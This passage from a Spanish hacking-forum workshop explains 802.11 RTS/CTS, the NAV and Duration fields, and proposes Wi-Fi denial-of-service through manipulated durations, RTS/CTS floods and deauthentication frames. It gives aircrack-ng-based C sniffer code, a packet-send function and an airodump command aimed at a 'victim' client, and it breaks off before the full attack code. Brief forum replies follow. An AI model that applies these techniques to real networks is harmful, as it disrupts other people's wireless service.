Si juntamos todo esto...el equipo 1 y el equipo 3 pueden "no percatarse" de que existe colisión!!!
¿Cómo solucionar esto?
Pues con algo de lo que seguro que has oído hablar (o seguro que leer o ver en las configuraciones de tarjetas y puntos de acceso): Enviar tramas ce control RTS y CTS.
RTS es Request to Send, también hay quien lo llama ready to send o si lo prefieres preparado para trnasmitir
CTS es Clear to Send o Listo para transmitir o permiso para transmirir
Ambos aseguran que el canal "está limpio y preparado para transmitir" de tal forma que otras estaciones "se callan" hasta que el medio esté libre para poder enviar sus tramas.
Luego la imagen correcta de acceso sería:
Y si existiese un "nodo oculto" como en el ejemplo anterior, quedaría así:
Como ves en la figura anterior, el nodo oculto recibe un CTS de aquél equipo que sí es accesible y "se calla".
Ni que decir tiene que todo esto tiene una temporización (Timing) y un "umbral" (threshold).
El timing se puede "controlar" mediante ajustes DCF, PCF o HCF que no son otra cosa que cómo va a funcionar el protocolo CSMA/CA.
El umbral también se puede ajustar en cada tarjeta, así por ejemplo las tramas "cortas" pueden ser enviadas inmediatamente mientras que las "largas" utilizarán RTS y CTS antes de ser enviadas.
¿Cortas y largas? ¿cómo de cortas o cómo de largas?
Pues como ya he dicho, el umbral. Aquellas que sean mas cortas que el umbral se transmitirán inmediatamente y las que sean mas largas que el umbral, usarán los métodos RTS y CTS.
DCF es el modo "por defecto" del estándar 802.11 y funciona igual que ethernet: Escuchar antes de hablar...y si hay silencio...se envía. Si hay colisión, se entrega un tiempo aleatorio de espera a cada estación y vuelta a empezar.
PCF utiliza lo que se llama "Puntos de Coordinación" que son los propios puntos de acceso y difiere en el método anterior en que permite emitir a las estaciones tras un corto periodo de tiempo exista o no colisiones.
HCF Permite a las estaciones "balancear" el tráfico en función de la mejor calidad de los servicios, encola los paquetes dependiendo del tipo de aplicación...es.. QoS.
Tanto RTS/CTS. Como el Timming, como el umbral existen para garantizar una transmisión sin interrupciones y con el mínimo de sobrecarga.
Y si piensas que aquí está todo dicho...pues falta otra cosa: NAV.
NAV es un Vector de Localización de Red, lo utiliza CSMA/CA y la pareja CTS/RTS...pero también se inicializa con el campo Duración de la Cabecera MAC:
Recordemos como era una cabecera MAC de una trama de datos:
Como ves, existen 2 bytes después del Frame Control que representan la duración.
La duración de que???
Pues el tiempo estimado que debe estar el canal disponible para trasmitir la trama.
Es un valor de 16 bits (2 bytes) de tal forma que si el bit 15 (el más significativo) está a cero el valor del resto de bits será el valor con el que se inicializa NAV.
Es decir, NAV como mucho puede valer 2^15 = 32.768
O dicho de otra forma, el tiempo máximo que se puede reservar para la retransmisión de una trama es de 32.768 ¿qué? Microsegundos.
Todas las estaciones de la red monitorizan las tramas y las cabeceras MAC's, de tal forma que durante la transmisión de la trama de otro equipo, "leen" la duración de la misma y añaden ese tiempo extra como tiempo de contención antes de enviar sus datos.
Además puede haber más información en el campo Duración, por ejemplo, si los bits 15 y 14 están a uno indica un modo especial llamado PS-Poll que se usa en combinación de otros valores para la administración de energía y "despertar" a las estaciones que lo implementan, para nuestro taller, sin utilidad por el momento.
Vale...y ahora que??
Pues como vamos a empezar con las Denegaciones de Servicio...porqué no usar alguna de estas "características" para ello.
Por ejemplo, enviar tramas con una duración de 32.768 que dijimos que eran una treintavo de segundo...bueno pues menudo DoS, no?? Jajaja,
Y si enviamos unos cientos (o miles) de paquetes de "esos" ?? Qué pasará?? Lo imaginas, no???
Y si inundamos la red con CTS/RTS???
Pues eso mismo, son ejemplos...no todo consiste en Disociar o Des-autenticar a los clientes, pueden existir y existen "otras formas de fastidiar" sin necesidad de echar a la gente a patadas
Después de esta explicación pasaremos a la práctica
==============================================
Practicando DoS en 802.11
1.- La base de los programas que usaremos.
2.- Creación de un esnifer sencillo
3.- Envío de tramas de desautenticación/disociación
4.- Inundación RTS/CTS con duración manipulada
[size=18]1.- La base de los programas que usaremos.[/size]
Vamos a usar "parte" del código fuente de la suite de aircrack-ng para adaptarlos a nuestros ejemplos, así el trabajo "duro" ya está hecho y de paso, vamos comprendiendo cómo esta gente llegó a donde ha llegado...
Estos scripts no son nada modulares ni "exportables", no contemplan los numerosos errores de programación que seguro que tienen, igualmente seguro que "sobran" porciones de código, pero caray!! Que esto no es un curso de C, así que perdonad por la falta de rigor en la programación y centrémonos en su funcionamiento...
Usaremos airodump-ng para "husmear" el medio y luego iremos afinando los ejemplos que nos ocupan.
También es conveniente que estés familiarizado con algún esnifer.
Lo primero nos descargaremos la suite de aircrack-ng y la instalamos:
http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
Código [Seleccionar]
tar xvfz aircrack-ng-1.0-rc3.tar.gz
cd aircrack-ng-1.0-rc3
cd src
make unstable=trueEn este punto ya podemos usarla...pero veamos nuestro primer programa:
2.- Crear un pequeño esnifer para examinar el tráfico. Programa [/b]wifiesnif.c[/size]
En este ejemplo haremos lo siguiente:
- * Abrir la tarjeta inalámbrica para poder capturar y enviar paquetes (el envío en este ejemplo no está implementado)
* Capturar paquetes en el aire
* Mostrar los paquetes capturados
* Analizar el campo Frame Control de la cabecera MAC
- * Obtener los bytes de FC
* Mostrar si se trata de un FromDS, toDS, WDS ó ad-hoc
* Mostrar el tipo de trama: Administración Datos o Control
* Averiguar si se trata de un paquete cifrado o no
Te recuerdo que existirán líneas del tipo #include, #define y otras que pueden no ser necesarias, están porque poco a poco irá creciendo el programa y se necesitarán más adelante.
Veamos lo "básico" del código:
Función dump_packet
Código [Seleccionar]
void dump_packet(unsigned char* packet, int len) // volcado de paquetes a pantalla
{
int i=0;
printf("\n");
for(i=0; i<len; i++)
{
if(i>0 && i%4 == 0)printf(" ");
if(i>0 && i%16 == 0)printf("\n");
printf("%02X ", packet[i]);
}
printf("\n");
}La utilizaremos para mostrar por pantalla el/los paquetes capturados
Función read_packet
Código [Seleccionar]
int read_packet(void *buf, size_t count, struct rx_info *ri) // leer paquetes Wifi
{
struct wif *wi = _wi_in; /* XXX */
int rc;
rc = wi_read(wi, buf, count, ri);
if (rc == -1) {
switch (errno) {
case EAGAIN:
return 0;
}
perror("wi_read()");
return -1;
}
return rc;
}Se encarga de capturar el tráfico y retorna como valor el tamaño del paquete leído
Estas dos funciones anteriores son prácticamente las mismas que usan la suite de aircrack.
Función captura_datos_FC
Código [Seleccionar]
int captura_datos_FC( int caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
char elegido[1];
int otromas, estado;
caplen=0;
while( 1 )
{
caplen = read_packet( h80211, sizeof( h80211 ), NULL );
if(caplen <= 0) continue; // si la longitud no es válida. no se capturaron paquetes
dump_packet (h80211,caplen);
printf( "\nPulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?" );
otromas=0;
while(otromas==0) otromas = scanf( "%s", elegido );
usleep(300);
if( elegido[0] != 's' && elegido[0] != 'S' ) continue;
printf ("\n\tFrame Control: %02X:%02X\n", h80211[0],h80211[1]); //muestra los 2 bytes de FC
estado=h80211[1] & 0x3; // Valores de FromDS y toDS (0,1,2,3)
switch (estado) {
case 0: // comunicacions adhoc y tramas de control/administración
printf ("\t......FromDS : 0\n");
printf ("\t......toDs : 0\n");
break;
case 1: // paquete con dirección HACIA el sistema de districubión
printf ("\t......FromDs : 0\n");
printf ("\t......toDS : 1\n");
break;
case 2: // paquete enviado DESDE el sistema de distribución
printf ("\t......FromDs : 1\n");
printf ("\t......toDS : 0\n");
break;
case 3: // paquete enviado en WDS
printf ("\t......FromDS : 1\n");
printf ("\t......toDs : 1\n");
break;
}
// Comprobamos el tipo de trama (datos, administración o control)
if ((h80211[0] & 0x0C) == 0x08)
printf ("\t......Trama : de DATOS\n");
if ((h80211[0] & 0x0C) == 0x00)
printf ("\t......Trama : de ADMINISTRACION\n");
if ((h80211[0] & 0x0C) == 0x04)
printf ("\t......Trama : de CONTROL\n");
// Averiguamos si se trata de un paquete con el bit de cifrado activado
if ((h80211[1] & 0x40) == 0x40) {
printf ("\t......Cifrado: SI\n");
}
else
{
printf ("\t......Cifrado : NO\n");
}
}
return( caplen );
}Esta función analiza el paquete capturado mediante read_packet usando un array llamado h80211[4096] como contendor de los bytes en hexadecimal que se han leído.
De esta forma, por ejemplo, los valores de Frame Control estarán en h80211[0] y en h80211[1], la duración en h80211[2] y h80211[3], etc...
Creo que con los comentarios incluidos en el propio código fuente es suficiente para que lo comprendamos a estas alturas, no??
Y por último, la función main que es el inicio del programa:
Código [Seleccionar]
int main( int argc, char *argv[] ) // inicio del programa
{
int caplen;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: wifiesnif interface\n\nEjemplo: wifiesnif wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
/***************************************/
/* Llamada al esnifer */
/***************************************/
caplen=0;
caplen=captura_datos_FC(caplen);
exit(0);
}Vamos, está claro lo que hace, no??
No hay que preocuparse de si sabemos lenguaje C o no, vamos no importa tanto cómo abrir la interface wifi, pero sí es importante que comprendas bien la función captura_datos_FC y cómo se averiguan los estados de toDS, FromDS, wep, etc...
El código completo lo tienes aquí: http://www.megaupload.com/?d=0SMDIKFJ
Guárdalo junto con los otras fuentes de aircrack (así será mas fácil compilarlo) por ejemplo con el nombre wifiesnif.c
Para compilarlo:
Código [Seleccionar]
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o wifiesnif.o wifiesnif.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude wifiesnif.o common.o crypto.o -o wifiesnif -Losdep -losdep -lssl -lcryptoy ya está, lo lanzamos::
Código [Seleccionar]
bt src # wifiesnif eth1
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?n
08 41 1C 00 00 16 B6 41 03 5D 00 17 9A C3 D6 B9
00 16 B6 41 03 5B 80 88 2A 21 00 00 13 F5 7C F2
C5 E5 15 9D CA 7C B1 17 09 25 84 05 1D 55 92 59
F0 95 43 2B 54 1F A2 41 B1 24 E1 F8 A5 47 7D 58
04 6C A4 AF AB BC 27 C2 D9 31 E2 03 6E 7B CC F1
24 AE D0 0B D9 F1 1A 25 E4 2D EE DC 0B C9 45 48
55 6D 58 55
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s
Frame Control: 08:41
......FromDs : 0
......toDS : 1
......Trama : de DATOS
......Cifrado: SI
D4 00 00 00 00 17 9A C3 D6 B9
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s
Frame Control: D4:00
......FromDS : 0
......toDs : 0
......Trama : de CONTROL
......Cifrado: NO
... .
... .3.- Denegación de Servicios mediante el envío de tramas de Disociación o desautenticación.
Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes asociados.
Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script con los parámetros adecuados.
Supongamos que lanzamos airodump mas o menos así
Código [Seleccionar]
bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D
CH 1 ][ Elapsed: 0 s ][ 2009-07-14 09:47
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:16:B6:41:03:5D 78 0 16 2 0 1 48 WEP WEP TallerWIFI
BSSID STATION PWR Lost Packets Probes
00:16:B6:41:03:5D 00:17:9A:C3:D6:B9 75 0 2Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro programa, que le he llamdo dos01.c
En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red...esta es: send_packet
Código [Seleccionar]
int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
struct wif *wi = _wi_out;
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0;
}
perror("wi_write()");
return -1;
}
return 0;
} #1296
Materiales y equipos / Re: Es posible esta conexion(Unos 50 metros)
13 Julio 2009, 09:56 AM
BUenas:
Si no tienes vista directa o hay edificios que te impiden la visión ... vete olvidándote.
A no ser que "escape" por la zona delantera de la cafetería y apuntes hacia allí
Un saludo
ChimoC
Si no tienes vista directa o hay edificios que te impiden la visión ... vete olvidándote.
A no ser que "escape" por la zona delantera de la cafetería y apuntes hacia allí
Un saludo
ChimoC
#1297
Hacking Wireless / Re: Introduccion a Las Redes Inalambricas
13 Julio 2009, 09:47 AM
Buenas:
Me lo leí hace tiempo.... y es bastante interesante
Un saludo
ChimoC
P.D.: Si pretendes hacer un recopilatorio de libros me lo indicas y hacemos una chincheta
Me lo leí hace tiempo.... y es bastante interesante
Un saludo
ChimoC
P.D.: Si pretendes hacer un recopilatorio de libros me lo indicas y hacemos una chincheta
#1298
Wireless en Windows / Re: Manual emulación de WifiSlax 3.1 sobre Windows con VMware
1 Julio 2009, 16:35 PM
Buenas:
VMware lo instalas en WINDOWS y de ahí emulas
Un saludo
ChimoC
EDITO: Todas las preguntas que se hagan de "no me reconoce mi pci, ni mi minipci ni mi pcmcia" serán BORRADAS
Haced el favor de antes de preguntar LEER un poco... y si no quereis leer un poco MIRAD la firma de dr.valium
VMware lo instalas en WINDOWS y de ahí emulas
Un saludo
ChimoC
EDITO: Todas las preguntas que se hagan de "no me reconoce mi pci, ni mi minipci ni mi pcmcia" serán BORRADAS
Haced el favor de antes de preguntar LEER un poco... y si no quereis leer un poco MIRAD la firma de dr.valium
#1299
Materiales y equipos / Re: Problema para configurar WEP en DD-WRT
25 Junio 2009, 11:27 AM
Buenas:
Pero como tienes configurado el SETUP
Cuenta cómo lo tienes TODO configurado
Un saludo
ChimoC
Pero como tienes configurado el SETUP
Cuenta cómo lo tienes TODO configurado
Un saludo
ChimoC
#1300
Hacking / Re: Tarjetas de cabinas telefónicas
12 Junio 2009, 11:41 AM
Buenas:
Creo recordar haber leido que lleva el módulo SAM (algoritmo de los 4 modulos... si no tienes algua cabina en casa para poder destriparla
)
O bienque te faciliten las keys1 y 2 para poder leer la tarjeta....
Un saludete
ChimoC
Creo recordar haber leido que lleva el módulo SAM (algoritmo de los 4 modulos... si no tienes algua cabina en casa para poder destriparla
)O bienque te faciliten las keys1 y 2 para poder leer la tarjeta....
Un saludete
ChimoC